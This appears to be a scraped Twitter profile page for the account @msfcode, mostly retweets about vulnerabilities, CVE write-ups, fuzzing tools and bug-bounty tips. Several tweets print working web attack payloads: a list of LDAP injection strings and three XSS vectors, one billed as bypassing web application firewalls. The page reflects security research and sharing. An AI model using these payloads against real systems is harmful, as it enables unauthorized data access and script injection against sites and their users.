Msfcode @msfcode

路漫漫其修远兮，吾将上下而求索。 People's Republic of China Joined April 2018

Tweets

193
Followers

174
Following

314
Likes

120

Msfcode @msfcode

a year ago

主打一个猜。

1 0 2 252 1

Download Image

CFC4N @CFC4N

a year ago

github.com/elastic/otel-p… 可以直接支持JAVA、PHP、Python、GO等高级语言程序的可观测性。不依赖高级语言的符号表、DWARF信息，直接解析到JAVA层的语言符号。笔者稍微实验了一下，甚至可以作为未来RASP的技术方案。规避了Java Agent动态注入带来STW性能抖动的问题。强得可...可...可...怕...怕...。

17 74 346 65K 316

Download Image

We've analyzed the patch diffs for CVE-2023-3519 (Citrix Pre-Auth RCE) and have published our findings so far on our blog post here: blog.assetnote.io/2023/07/21/cit… So far, we haven't found an endpoint where this issue is exploitable without SAML being enabled. Will update blog if we…

5 78 267 45K 46

Download Image

Cos(余弦)😶‍🌫️ @evilcos

2 years ago

既然有朋友问如何入门 Web3 安全（尤其是智能合约安全），我简单列点当下觉得还不错的资源吧。牢记下：这玩意，最重要的是实战，是需要你一天到晚长期在这个领域积累，才可能有些成就。另外，兴趣一定是最大的驱动力，三天打鱼两天撒网，那不叫兴趣，那叫自欺欺人...

46 362 823 172K 718

Marcel Böhme👨‍🔬 @mboehme_

3 years ago

What would you do if you could spend 1 week with the creators of the most widely-used bug finding tools? * AFL++ * LibFuzzer / ASAN * Syzkaller * KLEE * OSSFuzz * OneFuzz * SQLancer * FuzzingBook / DebuggingBook * Infer * Clang SA * Findbugs / Tricorder * Soot / FlowDroid ...

7 10 65 0 26

Florian Hansemann @CyberWarship

3 years ago

"VMware Authentication Bypass Vulnerability (CVE-2022-22972) Technical Deep Dive" #infosec #redteam #redteam horizon3.ai/vmware-authent…

2 85 218 0 45

Download Image

Windows Portable Apps @WPA_1

4 years ago

2 years have passed and he still didn't crack none of them! Lol! ("Multi One Password" is indeed a Real and The Most Secure #PasswordManager!) . @TerahashCorp @jmgosney @L0phtCrackLLC #Infosec #netsec #cybersec #cybersecurity #hashcat #bcrypt #defcon

Windows Portable Apps @WPA_1

4 years ago

1 1 1 0 0

0 4 6 0 0

Download Image

Shreyas R Gujar 🇮🇳 @shreyasrx

5 years ago

LDAP Injection 💥 1/3 Payloads : * *)(& *))%00 )(cn=))\x00 *()|%26' *()|&' *(|(mail=*)) *(|(objectclass=*)) *)(uid=*))(|(uid=* */* *| / // //* @* | admin* admin*)((|userpassword=*) admin*)((|userPassword=*) x' or name()='username' or 'x'='y #bugbountytips #shieldindia

3 139 347 0 102

XSS Payloads @XssPayloads

5 years ago

A vector by @cure53berlin <xss onbeforescriptexecute=alert(1)><script>1</script>

2 59 185 0 25

XSS Payloads @XssPayloads

5 years ago

A CSS transition-based one by @PortSwiggerRes <style>:target {color:red;}</style><xss id=x style="transition:color 1s" onwebkittransitionend=alert(1)>

0 16 94 0 13

The Hacker News @TheHackersNews

5 years ago

Playing with GZIP! All versions of GLPI, an open source IT asset management app, released in the last 10 years are vulnerable to an RCE (CVE-2020-11060) flaw through backup feature. offsec.almond.consulting/playing-with-g… The bug has been patched with the release of v9.4.6. via @AlmondOffSec

0 22 30 0 2

Download Image

Anonymous 🇮🇩 @triple__x_

5 years ago

amp.kitploit.com/2018/03/th3ins…

0 15 37 0 4

rapiddns @rapiddns

5 years ago

6000+ hackerone disclosed reports docs.google.com/spreadsheets/d… #bugbountytips #bugbountytip #bugbounties #hackerone #vulnerabilities #xxe #xss #sqli #ssrf #RCE

0 33 72 0 24

Michael Gillespie @demonslay335

5 years ago

🔒New CryptoTester v1.4.0.2 for #ransomware analysis 🔎: TONS of fixes/additions to hexboxes, grouped algorithms in dropdown, flip endianness of keys, AES XTS mode, HMAC key derives, raw RSA (provide n + d/e, no padding), redesigned bruteforce key tool, lots of bugfixes.

7 144 374 0 67

Download Image

ch @chybeta

5 years ago

CVE-2020-10204 Nexus Repository Manager 3 - Remote Code Execution Well, EL Injection support.sonatype.com/hc/en-us/secti…

1 58 167 0 20

Download Gif

yuange @yuange75

6 years ago

xueqiu.com/9455873430/143… $微博(WB)$ #新浪微博、微博借钱就是骗子公司，套路贷和高利贷# 英语不好，谁有能力投诉到美国证监会，以及apple，让其下架？翻译投诉等我可以适当付费。

38 80 160 0 12

XSS Payloads @XssPayloads

6 years ago

A WAF killer variant of the previous vector by @zseano <imsofake onpointerrawupdate=alert(1)>test

1 46 168 0 19

AEMSecurity @AEMSecurity

6 years ago

[+] #BugbountyTip: CVE-2016-0956 - Apache Sling Core Framework Information Disclosure Vulnerability <-- You can still find many vulnerable AEM Instances (free to contact me if you need help understanding this one) #Bugbounty #TogetherWeHitHarder #BugbountyTip

9 60 214 0 60

Download Image

Solomon Yue @SolomonYue

6 years ago

My list of 137 publicly reported Chinese espionage cases against🇺🇸since 2000. The list doesn't include 4🇨🇳PLA hackers charged 4 hacking into credit reporting agency Equifax today. shorturl.at/nRTU3 Now I share both w/ you & Consul General @ZhaLiyou. csis-prod.s3.amazonaws.com/s3fs-public/19…